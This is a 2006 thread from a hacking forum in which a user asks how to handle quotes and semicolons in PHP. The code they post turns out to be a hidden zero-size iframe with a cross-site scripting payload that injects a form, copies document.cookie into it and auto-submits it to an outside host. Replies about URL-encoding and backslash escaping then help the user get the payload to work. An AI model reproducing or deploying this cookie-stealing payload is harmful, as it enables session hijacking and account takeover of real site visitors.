Follow us on Twitter!
Imagination is more valuable than knowledge - Albert Einstein
Thursday, April 24, 2014
Navigation
Home
HellBoundHackers Main:
HellBoundHackers Find:
HellBoundHackers Information:
Learn
Communicate
Submit
Shop
Challenges
HellBoundHackers Exploit:
HellBoundHackers Programming:
HellBoundHackers Think:
HellBoundHackers Track:
HellBoundHackers Patch:
HellBoundHackers Other:
HellBoundHackers Need Help?
Other
Members Online
Total Online: 26
Guests Online: 24
Members Online: 2

Registered Members: 82903
Newest Member: Piriformis
Latest Articles
View Thread

HellBound Hackers | Computer General | Programming

Author

PHP quotes & other things


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 04-02-06 07:31
I'm trying to include a URL in PHP that may have quotes in the url ("Wink and semi-colons (Wink. I get that lame unexpected error, but how the hell do I know where to put the / and \? It might be because I'm trying to code php half asleep, but this has pissed me off for a while. Help anyone?
Author

RE: PHP quotes & other things


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 04-02-06 09:55
You need to post your code( at least the line with the error) and the whole error.


Author

RE: PHP quotes & other things


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 04-02-06 18:56
Code
<iframe src="http://site.php/something?=</form><form action=http://www.my-site.com/thing.php?blah=document.cookie method=get> <input name=blah> <script>document.forms[3].blah.value=document.cookie; document.forms[3].submit();</script></form><input name=submit type=submit>" frameborder="0" width="0" height="0"></iframe>


Author

RE: PHP quotes & other things

Mr_Cheese




Posts: 2468
Location: Brighton, UK
Joined: 30.11.04
Rank:
Uber Elite
Posted on 04-02-06 18:58
try, converting the special characters to ASCI values.

example:
a space = %20

etc etc


http://www.hellboundhackers.org/
Author

RE: PHP quotes & other things


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 04-02-06 19:12
if you don't want PHP to parse the special characters, stick a backslash in front of them, e.g.

Code
echo "<form action = \"Something.php\">";




would actually echo

<form action = "Something.php">

Hope that clears it up for ya.


Author

RE: PHP quotes & other things


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 04-02-06 19:14
yeh that also works a lil for protecting login scripts..


Author

RE: PHP quotes & other things


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 04-02-06 19:19
Thanks a lot, guys!

Just one question. I have a PHP script trying to echo the HTML code, but it outputs it as plaintext on the page. Why is that? And is there any way to make it so it echos the html code and parses it?
Author

RE: PHP quotes & other things


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 04-02-06 19:30
even easier is
Code

echo "html using ' instead"





Author

RE: PHP quotes & other things


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 04-02-06 19:39
What?

edit: apparently, somehow, the header got set to text/css so it wouldnt output the correct things.

Edited by on 05-02-06 08:01